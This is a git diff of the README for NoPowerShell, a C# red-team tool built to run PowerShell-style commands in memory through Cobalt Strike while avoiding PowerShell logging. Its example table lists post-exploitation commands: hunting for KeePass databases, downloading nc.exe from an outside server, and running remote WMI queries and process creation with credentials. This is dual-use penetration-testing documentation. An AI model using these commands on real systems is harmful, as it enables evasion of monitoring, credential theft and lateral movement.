|
1 |
| -# nopowershell |
2 |
| -PowerShell rebuilt in C# for Red Teaming purposes |
| 1 | +# NoPowerShell |
| 2 | +NoPowerShell is a tool implemented in C# which supports executing PowerShell-like commands while remaining invisible to any PowerShell logging mechanisms. This .NET Framework 2 compatible binary can be loaded in Cobalt Strike to execute commands in-memory. No `System.Management.Automation.dll` is used; only native .NET libraries. |
| 3 | + |
| 4 | +Moreover, this project makes it easy for everyone to extend its functionality using only a few lines of C# code. |
| 5 | + |
| 6 | +# Screenshots |
| 7 | +## Currently supported commands |
| 8 | +Running in Cobalt Strike. |
| 9 | + |
| 10 | +## Sample commands |
| 11 | + |
| 12 | + |
| 13 | + |
| 14 | +# Usage |
| 15 | +## Note |
| 16 | +When using NoPowerShell from cmd.exe or PowerShell, you need to escape the pipe character (`|`) with respectively a caret (`^`) or a backtick (`` ` ``), i.e.: |
| 17 | + |
| 18 | +- cmd.exe: `ls ^| select Name` |
| 19 | +- PowerShell: ```ls `| select Name``` |
| 20 | + |
| 21 | +## Examples |
| 22 | +| Action | Command | Notes | |
| 23 | +| - | - | - | |
| 24 | +| List help | `NoPowerShell.exe` | Alternative: `NoPowerShell.exe Get-Command` | |
| 25 | +| View status of a service | `NoPowerShell.exe Get-WmiObject -Class Win32_Service -Filter "Name = 'WinRM'"` | | |
| 26 | +| Search for KeePass database in C:\Users folder | `NoPowerShell.exe gci C:\Users\ -Force -Recurse -Include *.kdbx \| select Directory,Name,Length` | | |
| 27 | +| View system information | `NoPowerShell.exe systeminfo` | | |
| 28 | +| List processes on the system | `NoPowerShell.exe Get-Process` | | |
| 29 | +| Show current user | `NoPowerShell.exe whoami` | Unofficial command | |
| 30 | +| List autoruns | `NoPowerShell.exe Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run` | | |
| 31 | +| List network shares connected to from this machine | `NoPowerShell.exe Get-NetSmbMapping` | | |
| 32 | +| Download file | `NoPowerShell.exe wget http://myserver.me/nc.exe` | When compiled using .NET 2 only supports SSL up to SSLv3 (no TLS 1.1+) | |
| 33 | +| List PowerShell processes on remote system | `NoPowerShell.exe gwmi "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc1.corp.local \| ? Name -Like "powershell*" \| select ProcessId,CommandLine` | Explicit credentials can be specified using the `-Username` and `-Password` parameters | |
| 34 | +| Execute program using WMI | `NoPowerShell.exe Invoke-WmiMethod -Class Win32_Process -Name Create "cmd /c calc.exe"` | | |
| 35 | + |
| 36 | +# Known issues |
| 37 | +- Pipeline characters need to surrounded by spaces |
| 38 | +- TLS 1.1+ is not supported by .NET Framework 2, so any site enforcing it will result in a connection error |
| 39 | + |
| 40 | +# Improvements |
| 41 | +- Fix above issues |
| 42 | +- Improve stability by adding exception handling |
| 43 | +- Support for parameter groups |
| 44 | +- Add support for ArrayArgument parameter |
| 45 | +- Add support for .NET code in commandline, i.e.: `[System.Security.Principal.WindowsIdentity]::GetCurrent().Name` |
| 46 | + |
| 47 | +# Contributing |
| 48 | +Add your own cmdlets by submitting a pull request. |
| 49 | +## Requirement |
| 50 | +- Maintain .NET 2.0 compatibility in order to support the broadest range of operating systems |
| 51 | + |
| 52 | +## Instructions |
| 53 | +Use the TemplateCommand.cs file in the Commands folder to construct new cmdlets. The TemplateCommand cmdlet is hidden from the list of available cmdlets, but can be called in order to understand its workings. This command looks as follows: `Get-TemplateCommand [-MyFlag] -MyInteger [Int32] -MyString [Value]` and is also accessible via alias `gtc`. |
| 54 | + |
| 55 | +### Example usages |
| 56 | + |
| 57 | +| Action | Command | |
| 58 | +| - | - | |
| 59 | +| Simply run with default values | `gtc` | |
| 60 | +| Run with the -MyFlag parameter which executes the 'else' statement | `gtc -MyFlag` | |
| 61 | +| Run with the -MyInteger parameter which changes the number of iterations from its default number of 5 iterations to whatever number is provided | `gtc -MyInteger 10` | |
| 62 | +| Run with the -MyString parameter which changes the text that is printed from its default value of 'Hello World' to whatever string is provided | `gtc -MyString "Bye PowerShell"` | |
| 63 | +| Combination of parameters | `gtc -MyInteger 10 -MyString "Bye PowerShell"` | |
| 64 | +| Combination of parameters - Alternative | `gtc -MyInteger 10 -MyString "Bye PowerShell"` | |
| 65 | +| Combination of parameters - Using fact that MyString is the only mandatory parameter for this command | `gtc -MyInteger 10 "Bye PowerShell"` | |
| 66 | +| Command in combination with a couple of data manipulators in the pipe | `gtc "Bye PowerShell" -MyInteger 30 \| ? Attribute2 -Like Line1* \| select Attribute2 \| fl` | |
| 67 | + |
| 68 | +Execute the following steps to implement your own cmdlet: |
| 69 | +1. Create a copy of the **TemplateCommand.cs** file. |
| 70 | + * In case you are implementing a native PowerShell command, place it in folder the corresponding to the _Source_ attribute when executing in PowerShell: `Get-Command My-Commandlet`. Example of a native command: `Get-Command Get-Process` -> Source: `Microsoft.PowerShell.Management` -> Place the .cs file in the **Management** subfolder. |
| 71 | + * In case it is a non-native command, place it in the **Additional** folder. |
| 72 | +2. Update the `TemplateCommand` classname and its constructor name. |
| 73 | +3. Update the static **Aliases** variable to the command and aliases you want to use to call this cmdlet. For native PowerShell commands you can lookup the aliases using `Get-Alias | ? ResolvedCommandName -EQ My-Commandlet` to obtain the list of aliases. Always make sure the full command is the first "alias", for example: `Get-Alias | ? ResolvedCommandName -EQ Get-Process` -> Aliases are: `Get-Process`, `gps`, `ps` |
| 74 | +4. Update the static **Synopsis** variable to a small text that describes the command. This will be shown in the help. |
| 75 | +5. Update the arguments supported by the command by adding _StringArguments_, _BoolArguments_ and _IntegerArguments_ to the static **SupportedArguments** variable. |
| 76 | +6. In the Execute function: |
| 77 | + 1. Fetch the values of the _StringArguments_, _BoolArguments_ and _IntegerArguments_ as shown in the examples; |
| 78 | + 2. Based on the parameters provided by the user, perform your actions; |
| 79 | + 3. Make sure all results are stored in the `_results` variable. |
| 80 | +7. Remove all of the template sample code and comments from the file to keep the source tidy. |
| 81 | + |
| 82 | +# Contributed NoPowerShell cmdlets |
| 83 | +Authors of additional NoPowerShell cmdlets are added to the table below. Moreover, the table lists commands that are requested by the community to add. Together we can develop a powerful NoPowerShell toolkit! |
| 84 | + |
| 85 | +| Cmdlet | Contributed by | GitHub | Twitter | |
| 86 | +| - | - | - | - | |
| 87 | +| Resolve-DnsName | | | | |
| 88 | +| Get-ADUser | | | | |
| 89 | +| Get-ADGroupMember | | | | |
0 commit comments